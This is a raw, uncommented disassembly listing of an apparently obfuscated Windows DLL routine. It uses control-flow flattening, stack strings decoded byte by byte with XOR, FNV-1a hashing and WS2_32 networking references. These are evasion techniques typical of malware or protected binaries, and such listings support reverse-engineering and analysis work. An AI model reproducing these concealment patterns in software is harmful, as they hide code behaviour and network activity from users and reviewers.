mov edx, 0xe93106a3
jmp 0x18007cbe0
mov qword [rbp + 0x9b8], rbx
mov rdx, qword [rbp + 0x9b8]
mov dl, byte [rdx]
xor dl, 0x57
mov byte [rbp + 0xb8], dl
mov edx, 0x4bfbd828
jmp 0x18007cbc0
mov dl, byte [rbp + 0xb8]
mov byte [rcx + 4], dl
add rcx, 5
mov qword [rbp + 0xe0], rcx
mov rcx, qword [rbp + 0xb0]
add rcx, 0xf
mov qword [rbp + 0xf0], rcx
mov ecx, dword [0x180129cc8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xb666d89c
mov edx, 0x683874b8
jmp 0x18007c6c0
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x6c
mov dword [rbp + 0xe0], eax
mov edi, 0xccf8862c
nop dword [rax + rax]
cmp edi, 0x3226a3c6
je 0x18007d4a2
cmp edi, 0xccf8862c
jne 0x18007ccc0
mov ecx, dword [rbp + 0xe0]
mov edi, 0x3226a3c6
jmp 0x18007ccc0
mov dword [rbp + 0xf0], 0x64
mov byte [rbp + 0xd8], r8b
mov edx, 0x8bbf196b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x926a4417
jle 0x18007cd70
cmp edx, 0x926a4418
je 0x18007cd8e
cmp edx, 0xbe73cc8d
je 0x18007cd9c
cmp edx, 0xe39c1de6
jne 0x18007cd40
jmp 0x18007d5d2
cmp edx, 0x8bbf196b
je 0x18007cda3
cmp edx, 0x8f01ddc2
jne 0x18007cd40
movzx ecx, byte [rbp + 0xd8]
add cl, 5
mov edx, edi
jmp 0x18007cd40
movzx eax, byte [rbp + 0xd8]
mov edx, 0x8f01ddc2
jmp 0x18007cd40
mov edx, 0xe39c1de6
jmp 0x18007cd40
mov edx, ebx
jmp 0x18007cd40
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 5], al
mov dword [rbp + 0xd8], 0x64
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop dword [rax]
cmp ecx, 0xff9fb55d
jle 0x18007ce10
cmp ecx, 0x75847964
je 0x18007ce2e
cmp ecx, 0x64823d8c
je 0x18007d63c
cmp ecx, 0xff9fb55e
jne 0x18007cdd0
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x18007cdd0
cmp ecx, 0xabbc78b9
je 0x18007ce35
cmp ecx, 0xf18f601f
jne 0x18007cdd0
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x18007cdd0
mov ecx, 0x64823d8c
jmp 0x18007cdd0
mov ecx, edx
jmp 0x18007cdd0
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 5], al
mov dword [rbp + 0xd8], 0x64
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop word cs:[rax + rax]
cmp ecx, 0xff9fb55d
jle 0x18007cf00
cmp ecx, 0x75847964
je 0x18007cf1e
cmp ecx, 0x64823d8c
je 0x18007d730
cmp ecx, 0xff9fb55e
jne 0x18007cec0
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x18007cec0
cmp ecx, 0xabbc78b9
je 0x18007cf25
cmp ecx, 0xf18f601f
jne 0x18007cec0
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x18007cec0
mov ecx, 0x64823d8c
jmp 0x18007cec0
mov ecx, edx
jmp 0x18007cec0
sub rsp, 0x20
mov rcx, rbx
call fcn.1800945b0
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
jmp 0x18007cfd0
mov edx, dword [rbp + 0xd8]
mov rdx, qword [rbp + 0x9b8]
mov rdx, qword [rbp + 0x9b8]
mov rdx, qword [rbp + 0x9b8]
mov edx, dword [rbp + 0xc8]
mov edx, dword [rbp + 0xc8]
mov edx, dword [rbp + 0xc8]
mov edx, dword [rbp + 0xc8]
mov edx, dword [rbp + 0xc8]
mov edx, dword [rbp + 0xc8]
mov edx, 0x181b9de8
nop word [rax + rax]
cmp edx, 0xfe90a09b
jle 0x18007d040
cmp edx, 0x333d8297
jle 0x18007d090
cmp edx, 0x5cca55f4
jg 0x18007d10a
cmp edx, 0x333d8298
je 0x18007d1cd
cmp edx, 0x33ec62ab
je 0x18007d1e6
cmp edx, 0x42d422e5
jne 0x18007cfd0
mov dword [rbp + 0xb0], edi
mov edx, dword [rbp + 0xb0]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0xec], edx
mov edx, dword [rbp + 0xec]
cmp edx, 0x20
mov edx, 0xbb6ed30e
mov ebx, 0xfb306983
cmovge edx, ebx
jmp 0x18007cfd0
cmp edx, 0xc5fd57a7
jle 0x18007d0d0
cmp edx, 0xeb000b68
jg 0x18007d13a
cmp edx, 0xc5fd57a8
je 0x18007d1f7
cmp edx, 0xd1e81d16
je 0x18007d206
cmp edx, 0xd597d4ff
jne 0x18007cfd0
mov edx, 0x42d422e5
mov edi, dword [rbp + 0xd4]
jmp 0x18007cfd0
cmp edx, 0x12a1b9d7
jle 0x18007d16c
cmp edx, 0x12a1b9d8
je 0x18007d21f
cmp edx, 0x181b9de8
je 0x18007d22e
cmp edx, 0x28ad3f39
jne 0x18007cfd0
mov edx, 0x73f80f82
jmp 0x18007cfd0
cmp edx, 0xb163ad29
jle 0x18007d19e
cmp edx, 0xb163ad2a
je 0x18007d268
cmp edx, 0xb9d33223
je 0x18007d295
cmp edx, 0xbb6ed30e
jne 0x18007cfd0
mov edx, 0x12a1b9d8
jmp 0x18007cfd0
cmp edx, 0x5cca55f5
je 0x18007d2a6
cmp edx, 0x7343bfbc
je 0x18007cf86
cmp edx, 0x73f80f82
jne 0x18007cfd0
mov edx, 0x42d422e5
xor edi, edi
jmp 0x18007cfd0
cmp edx, 0xeb000b69
je 0x18007d2bf
cmp edx, 0xfb306983
jne 0x18007d336
mov edx, dword [rbp + 0xec]
cmp edx, 0x7f
setl byte [rbp + 0xc7]
mov edx, 0x333d8298
jmp 0x18007cfd0
cmp edx, 0xfe90a09c
je 0x18007d2ea
cmp edx, 0x1dd0b01
jne 0x18007cfd0
mov edx, dword [rbp + 0xe8]
cmp edx, 0x5b
setl byte [rbp + 0xa4]
mov edx, 0xd1e81d16
jmp 0x18007cfd0
cmp edx, 0x87cbc1a8
je 0x18007d31c
cmp edx, 0x9302de66
jne 0x18007cfd0
mov rcx, qword [rbp + 0xf0]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xb8]
jmp 0x18007cfd0
cmp byte [rbp + 0xc7], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x18007cfd0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xa8]
jmp 0x18007cfd0
mov dword [rbp + 0xd8], r10d
mov edx, r9d
jmp 0x18007cfd0
cmp byte [rbp + 0xa4], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x18007cfd0
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r11
jmp 0x18007cfd0
movsxd rdx, dword [rbp + 0xd8]
xor rdx, qword [rbp + 0x9b8]
movabs rbx, 0x100000001b3
imul rdx, rbx
mov qword [rbp + 0xf0], rdx
mov edx, dword [rbp + 0xc8]
add edx, 1
mov dword [rbp + 0xb8], edx
mov edx, r8d
jmp 0x18007cfd0
mov dword [rbp + 0xc8], esi
mov qword [rbp + 0x9b8], rcx
mov edx, dword [rbp + 0xb0]
mov ebx, dword [rbp + 0xc8]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x18007cfd0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xe8]
jmp 0x18007cfd0
mov edx, dword [rbp + 0xb0]
add edx, 1
mov dword [rbp + 0xd4], edx
mov edx, 0xd597d4ff
jmp 0x18007cfd0
mov rdx, qword [rbp + 0xe0]
movsx edx, byte [rdx]
mov dword [rbp + 0xe8], edx
mov edx, dword [rbp + 0xe8]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x18007cfd0
mov edx, dword [rbp + 0xe8]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0xa8], edx
mov edx, 0x33ec62ab
jmp 0x18007cfd0
mov edx, dword [rbp + 0xc8]
add rdx, rax
mov qword [rbp + 0xe0], rdx
mov edx, 0xeb000b69
jmp 0x18007cfd0
cmp edx, 0xf6d6bd87
jne 0x18007cfd0
mov rcx, qword [rbp + 0x9b8]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov qword [rbp + 0x70], rax
lea rsi, [rbp + 0x948]
mov qword [rbp - 0x20], rsi
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0xb0], rsi
mov rax, qword [rbp + 0xb0]
mov word [rax], 0xd86a
mov rax, qword [rbp + 0xb0]
mov ecx, 0xaf9b86e2
nop dword [rax + rax]
cmp ecx, 0x5d9abfc6
je 0x18007d777
cmp ecx, 0xaf9b86e2
jne 0x18007d390
mov qword [rbp + 0x9b8], rsi
mov ecx, 0x28a832c8
cmp ecx, 0xc65cb09
je 0x18007d3d8
cmp ecx, 0x28a832c8
jne 0x18007d3b0
mov rcx, qword [rbp + 0x9b8]
movzx ecx, word [rcx]
mov word [rbp + 0xe0], cx
mov ecx, 0xc65cb09
jmp 0x18007d3b0
movzx ecx, word [rbp + 0xe0]
xor ecx, 0x73
mov dword [rbp + 0xf0], ecx
mov ecx, 0x5d9abfc6
jmp 0x18007d390
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi + 4], al
mov ecx, 0x21a21833
nop word cs:[rax + rax]
cmp ecx, 0xfa630b3c
jle 0x18007d4f0
cmp ecx, 0xfa630b3d
je 0x18007d508
cmp ecx, 0x21a21833
je 0x18007d50f
cmp ecx, 0x180fafe8
jne 0x18007d4c0
mov ecx, edx
jmp 0x18007d4c0
cmp ecx, 0x91c44eb1
je 0x18007d82c
cmp ecx, 0xb9fa49fa
jne 0x18007d4c0
mov ecx, ebx
jmp 0x18007d4c0
mov ecx, 0xb9fa49fa
jmp 0x18007d4c0
mov ecx, 0x180fafe8
jmp 0x18007d4c0
mov byte [rbp + 0xe0], cl
movzx eax, byte [rbp + 0xe0]
mov ecx, dword [rbp + 0xf0]
mov edx, ecx
and edx, 0x76
or edx, 8
and ecx, 0x89
mov esi, eax
and esi, 0x76
or esi, 0x81
and eax, 0xffffff89
xor eax, ecx
xor eax, esi
xor eax, edx
xor al, 0x89
mov byte [r9 + 6], al
mov ecx, 0x8c53169d
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8c53169d
je 0x18007d635
cmp ecx, 0x71319a28
jne 0x18007d620
jmp 0x18007d8ac
mov ecx, 0x71319a28
jmp 0x18007d620
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop
cmp edi, 0xf22d6e9d
je 0x18007d937
cmp edi, 0x35d4fac2
jne 0x18007d650
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x18007d650
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0xf22d6e9d
je 0x18007da01
cmp edi, 0x35d4fac2
jne 0x18007d750
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x18007d750
mov ecx, dword [rbp + 0xf0]
mov word [rax + 2], cx
mov ecx, 0xaf9b86e2
nop word cs:[rax + rax]
cmp ecx, 0x5d9abfc6
je 0x18007da99
cmp ecx, 0xaf9b86e2
jne 0x18007d790
mov qword [rbp + 0x9b8], rsi
mov ecx, 0x28a832c8
cmp ecx, 0xc65cb09
je 0x18007d7d8
cmp ecx, 0x28a832c8
jne 0x18007d7b0
mov rcx, qword [rbp + 0x9b8]
movzx ecx, word [rcx]
mov word [rbp + 0xe0], cx
mov ecx, 0xc65cb09
jmp 0x18007d7b0
movzx ecx, word [rbp + 0xe0]
xor ecx, 0x6f
mov dword [rbp + 0xf0], ecx
mov ecx, 0x5d9abfc6
jmp 0x18007d790
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x75
mov dword [rbp + 0xe0], eax
mov edi, 0xccf8862c
nop dword [rax + rax]
cmp edi, 0x3226a3c6
je 0x18007dbc2
cmp edi, 0xccf8862c
jne 0x18007d850
mov ecx, dword [rbp + 0xe0]
mov edi, 0x3226a3c6
jmp 0x18007d850
mov dword [rbp + 0xf0], 0x65
mov byte [rbp + 0xd8], r8b
mov edx, 0x8bbf196b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x926a4417
jle 0x18007d900
cmp edx, 0x926a4418
je 0x18007d91e
cmp edx, 0xbe73cc8d
je 0x18007d92c
cmp edx, 0xe39c1de6
jne 0x18007d8d0
jmp 0x18007dcc2
cmp edx, 0x8bbf196b
je 0x18007d933
cmp edx, 0x8f01ddc2
jne 0x18007d8d0
movzx ecx, byte [rbp + 0xd8]
add cl, 6
mov edx, edi
jmp 0x18007d8d0
movzx eax, byte [rbp + 0xd8]
mov edx, 0x8f01ddc2
jmp 0x18007d8d0
mov edx, 0xe39c1de6
jmp 0x18007d8d0
mov edx, ebx
jmp 0x18007d8d0
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 6], al
mov dword [rbp + 0xd8], 0x75
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop dword [rax]
cmp ecx, 0xff9fb55d
jle 0x18007d9a0
cmp ecx, 0x75847964
je 0x18007d9be
cmp ecx, 0x64823d8c
je 0x18007dd2c
cmp ecx, 0xff9fb55e
jne 0x18007d960
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x18007d960
cmp ecx, 0xabbc78b9
je 0x18007d9c5
cmp ecx, 0xf18f601f
jne 0x18007d960
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x18007d960
mov ecx, 0x64823d8c
jmp 0x18007d960
mov ecx, edx
jmp 0x18007d960
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 6], al
mov dword [rbp + 0xd8], 0x75
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop word cs:[rax + rax]
cmp ecx, 0xff9fb55d
jle 0x18007da70
cmp ecx, 0x75847964
je 0x18007da8e
cmp ecx, 0x64823d8c
je 0x18007ddc1
cmp ecx, 0xff9fb55e
jne 0x18007da30
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x18007da30
cmp ecx, 0xabbc78b9
je 0x18007da95
cmp ecx, 0xf18f601f
jne 0x18007da30
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x18007da30
mov ecx, 0x64823d8c
jmp 0x18007da30
mov ecx, edx
jmp 0x18007da30
mov ecx, dword [rbp + 0xf0]
mov word [rax + 4], cx
mov ecx, 0xaf9b86e2
nop dword [rax + rax]
cmp ecx, 0x5d9abfc6
je 0x18007de07
cmp ecx, 0xaf9b86e2
jne 0x18007dab0
mov qword [rbp + 0x9b8], rsi
mov ecx, 0x28a832c8
cmp ecx, 0xc65cb09
je 0x18007daf8
cmp ecx, 0x28a832c8
jne 0x18007dad0
mov rcx, qword [rbp + 0x9b8]
movzx ecx, word [rcx]
mov word [rbp + 0xe0], cx
mov ecx, 0xc65cb09
jmp 0x18007dad0
movzx ecx, word [rbp + 0xe0]
xor ecx, 0x66
mov dword [rbp + 0xf0], ecx
mov ecx, 0x5d9abfc6
jmp 0x18007dab0
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi + 5], al
mov ecx, 0x21a21833
nop word cs:[rax + rax]
cmp ecx, 0xfa630b3c
jle 0x18007dc10
cmp ecx, 0xfa630b3d
je 0x18007dc28
cmp ecx, 0x21a21833
je 0x18007dc2f
cmp ecx, 0x180fafe8
jne 0x18007dbe0
mov ecx, edx
jmp 0x18007dbe0
cmp ecx, 0x91c44eb1
je 0x18007debc
cmp ecx, 0xb9fa49fa
jne 0x18007dbe0
mov ecx, ebx
jmp 0x18007dbe0
mov ecx, 0xb9fa49fa
jmp 0x18007dbe0
mov ecx, 0x180fafe8
jmp 0x18007dbe0
mov byte [rbp + 0xe0], cl
movzx eax, byte [rbp + 0xe0]
mov ecx, dword [rbp + 0xf0]
mov edx, ecx
and edx, 0x76
or edx, 8
and ecx, 0x89
mov esi, eax
and esi, 0x76
or esi, 0x81
and eax, 0xffffff89
xor eax, ecx
xor eax, esi
xor eax, edx
xor al, 0x89
mov byte [r9 + 7], al
mov ecx, 0x8c53169d
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8c53169d
je 0x18007dd25
cmp ecx, 0x71319a28
jne 0x18007dd10
jmp 0x18007df3c
mov ecx, 0x71319a28
jmp 0x18007dd10
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop
cmp edi, 0xf22d6e9d
je 0x18007dfc7
cmp edi, 0x35d4fac2
jne 0x18007dd40
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x18007dd40
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0xf22d6e9d
je 0x18007e0a1
cmp edi, 0x35d4fac2
jne 0x18007dde0
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x18007dde0
mov ecx, dword [rbp + 0xf0]
mov word [rax + 6], cx
mov ecx, 0xaf9b86e2
nop word cs:[rax + rax]
cmp ecx, 0x5d9abfc6
je 0x18007e139
cmp ecx, 0xaf9b86e2
jne 0x18007de20
mov qword [rbp + 0x9b8], rsi
mov ecx, 0x28a832c8
cmp ecx, 0xc65cb09
je 0x18007de68
cmp ecx, 0x28a832c8
jne 0x18007de40
mov rcx, qword [rbp + 0x9b8]
movzx ecx, word [rcx]
mov word [rbp + 0xe0], cx
mov ecx, 0xc65cb09
jmp 0x18007de40
movzx ecx, word [rbp + 0xe0]
xor ecx, 0x74
mov dword [rbp + 0xf0], ecx
mov ecx, 0x5d9abfc6
jmp 0x18007de20
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x65
mov dword [rbp + 0xe0], eax
mov edi, 0xccf8862c
nop dword [rax + rax]
cmp edi, 0x3226a3c6
je 0x18007e232
cmp edi, 0xccf8862c
jne 0x18007dee0
mov ecx, dword [rbp + 0xe0]
mov edi, 0x3226a3c6
jmp 0x18007dee0
mov dword [rbp + 0xf0], WSAStartup
mov byte [rbp + 0xd8], r8b
mov edx, 0x8bbf196b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x926a4417
jle 0x18007df90
cmp edx, 0x926a4418
je 0x18007dfae
cmp edx, 0xbe73cc8d
je 0x18007dfbc
cmp edx, 0xe39c1de6
jne 0x18007df60
jmp 0x18007e332
cmp edx, 0x8bbf196b
je 0x18007dfc3
cmp edx, 0x8f01ddc2
jne 0x18007df60
movzx ecx, byte [rbp + 0xd8]
add cl, 7
mov edx, edi
jmp 0x18007df60
movzx eax, byte [rbp + 0xd8]
mov edx, 0x8f01ddc2
jmp 0x18007df60
mov edx, 0xe39c1de6
jmp 0x18007df60
mov edx, ebx
jmp 0x18007df60
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 7], al
mov dword [rbp + 0xd8], WSAStartup
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop dword [rax]
cmp ecx, 0xff9fb55d
jle 0x18007e030
cmp ecx, 0x75847964
je 0x18007e04e
cmp ecx, 0x64823d8c
je 0x18007e39c
cmp ecx, 0xff9fb55e
jne 0x18007dff0
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x18007dff0
cmp ecx, 0xabbc78b9
je 0x18007e055
cmp ecx, 0xf18f601f
jne 0x18007dff0
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x18007dff0
mov ecx, 0x64823d8c
jmp 0x18007dff0
mov ecx, edx
jmp 0x18007dff0
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 7], al
mov dword [rbp + 0xd8], WSAStartup
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop word cs:[rax + rax]
cmp ecx, 0xff9fb55d
jle 0x18007e110
cmp ecx, 0x75847964
je 0x18007e12e
cmp ecx, 0x64823d8c
je 0x18007e421
cmp ecx, 0xff9fb55e
jne 0x18007e0d0
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x18007e0d0
cmp ecx, 0xabbc78b9
je 0x18007e135
cmp ecx, 0xf18f601f
jne 0x18007e0d0
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x18007e0d0
mov ecx, 0x64823d8c
jmp 0x18007e0d0
mov ecx, edx
jmp 0x18007e0d0
mov ecx, dword [rbp + 0xf0]
mov word [rax + 8], cx
mov ecx, 0xaf9b86e2
nop dword [rax + rax]
cmp ecx, 0x5d9abfc6
je 0x18007e467
cmp ecx, 0xaf9b86e2
jne 0x18007e150
mov qword [rbp + 0x9b8], rsi
mov ecx, 0x28a832c8
cmp ecx, 0xc65cb09
je 0x18007e198
cmp ecx, 0x28a832c8
jne 0x18007e170
mov rcx, qword [rbp + 0x9b8]
movzx ecx, word [rcx]
mov word [rbp + 0xe0], cx
mov ecx, 0xc65cb09
jmp 0x18007e170
movzx ecx, word [rbp + 0xe0]
xor ecx, 0x77
mov dword [rbp + 0xf0], ecx
mov ecx, 0x5d9abfc6
jmp 0x18007e150
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi + 6], al
mov ecx, 0x21a21833
nop word cs:[rax + rax]
cmp ecx, 0xfa630b3c
jle 0x18007e280
cmp ecx, 0xfa630b3d
je 0x18007e298
cmp ecx, 0x21a21833
je 0x18007e29f
cmp ecx, 0x180fafe8
jne 0x18007e250
mov ecx, edx
jmp 0x18007e250
cmp ecx, 0x91c44eb1
je 0x18007e51c
cmp ecx, 0xb9fa49fa
jne 0x18007e250
mov ecx, ebx
jmp 0x18007e250
mov ecx, 0xb9fa49fa
jmp 0x18007e250
mov ecx, 0x180fafe8
jmp 0x18007e250
mov byte [rbp + 0xe0], cl
movzx eax, byte [rbp + 0xe0]
mov ecx, dword [rbp + 0xf0]
mov edx, ecx
and edx, 0x76
or edx, 8
and ecx, 0x89
mov esi, eax
and esi, 0x76
or esi, 0x81
and eax, 0xffffff89
xor eax, ecx
xor eax, esi
xor eax, edx
xor al, 0x89
mov byte [r9 + 8], al
mov ecx, 0x8c53169d
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8c53169d
je 0x18007e395
cmp ecx, 0x71319a28
jne 0x18007e380
jmp 0x18007e59c
mov ecx, 0x71319a28
jmp 0x18007e380
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop
cmp edi, 0xf22d6e9d
je 0x18007e627
cmp edi, 0x35d4fac2
jne 0x18007e3b0
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x18007e3b0
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0xf22d6e9d
je 0x18007e741
cmp edi, 0x35d4fac2
jne 0x18007e440
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x18007e440
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0xa], cx
mov ecx, 0xaf9b86e2
nop word cs:[rax + rax]
cmp ecx, 0x5d9abfc6
je 0x18007e7d9
cmp ecx, 0xaf9b86e2
jne 0x18007e480
mov qword [rbp + 0x9b8], rsi
mov ecx, 0x28a832c8
cmp ecx, 0xc65cb09
je 0x18007e4c8
cmp ecx, 0x28a832c8
jne 0x18007e4a0
mov rcx, qword [rbp + 0x9b8]
movzx ecx, word [rcx]
mov word [rbp + 0xe0], cx
mov ecx, 0xc65cb09
jmp 0x18007e4a0
movzx ecx, word [rbp + 0xe0]
xor ecx, 0x61
mov dword [rbp + 0xf0], ecx
mov ecx, 0x5d9abfc6
jmp 0x18007e480
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x57
mov dword [rbp + 0xe0], eax
mov edx, 0xccf8862c
nop dword [rax + rax]
cmp edx, 0x3226a3c6
je 0x18007e8d2
cmp edx, 0xccf8862c
jne 0x18007e540
mov ecx, dword [rbp + 0xe0]
mov edx, 0x3226a3c6
jmp 0x18007e540
mov dword [rbp + 0xf0], 0x20
mov byte [rbp + 0xd8], r8b
mov edx, 0x8bbf196b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x926a4417
jle 0x18007e5f0
cmp edx, 0x926a4418
je 0x18007e60e
cmp edx, 0xbe73cc8d
je 0x18007e61c
cmp edx, 0xe39c1de6
jne 0x18007e5c0
jmp 0x18007e9a2
cmp edx, 0x8bbf196b
je 0x18007e623
cmp edx, 0x8f01ddc2
jne 0x18007e5c0
movzx ecx, byte [rbp + 0xd8]
add cl, 8
mov edx, edi
jmp 0x18007e5c0
movzx eax, byte [rbp + 0xd8]
mov edx, 0x8f01ddc2
jmp 0x18007e5c0
mov edx, 0xe39c1de6
jmp 0x18007e5c0
mov edx, ebx
jmp 0x18007e5c0
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 8], al
mov dword [rbp + 0xd8], 0x65
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop dword [rax]
cmp ecx, 0xff9fb55d
jle 0x18007e690
cmp ecx, 0x75847964
je 0x18007e6ae
cmp ecx, 0x64823d8c
je 0x18007ea0c
cmp ecx, 0xff9fb55e
jne 0x18007e650
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x18007e650
cmp ecx, 0xabbc78b9
je 0x18007e6b5
cmp ecx, 0xf18f601f
jne 0x18007e650
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x18007e650
mov ecx, 0x64823d8c
jmp 0x18007e650
mov ecx, edx
jmp 0x18007e650
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 8], al
mov dword [rbp + 0xd8], 0x65
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop word cs:[rax + rax]
cmp ecx, 0xff9fb55d
jle 0x18007e7b0
cmp ecx, 0x75847964
je 0x18007e7ce
cmp ecx, 0x64823d8c
je 0x18007ea47
cmp ecx, 0xff9fb55e
jne 0x18007e770
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x18007e770
cmp ecx, 0xabbc78b9
je 0x18007e7d5
cmp ecx, 0xf18f601f
jne 0x18007e770
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x18007e770
mov ecx, 0x64823d8c
jmp 0x18007e770
mov ecx, edx
jmp 0x18007e770
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0xc], cx
mov ecx, 0xaf9b86e2
nop dword [rax + rax]
cmp ecx, 0x5d9abfc6
je 0x18007ea87
cmp ecx, 0xaf9b86e2
jne 0x18007e7f0
mov qword [rbp + 0x9b8], rsi
mov ecx, 0x28a832c8
cmp ecx, 0xc65cb09
je 0x18007e838
cmp ecx, 0x28a832c8
jne 0x18007e810
mov rcx, qword [rbp + 0x9b8]
movzx ecx, word [rcx]
mov word [rbp + 0xe0], cx
mov ecx, 0xc65cb09
jmp 0x18007e810
movzx ecx, word [rbp + 0xe0]
xor ecx, 0x72
mov dword [rbp + 0xf0], ecx
mov ecx, 0x5d9abfc6
jmp 0x18007e7f0
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi + 7], al
mov byte [rsi + 8], 0
sub rsp, 0x20
lea rcx, [rbp + 0x110]
call fcn.180094f90
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
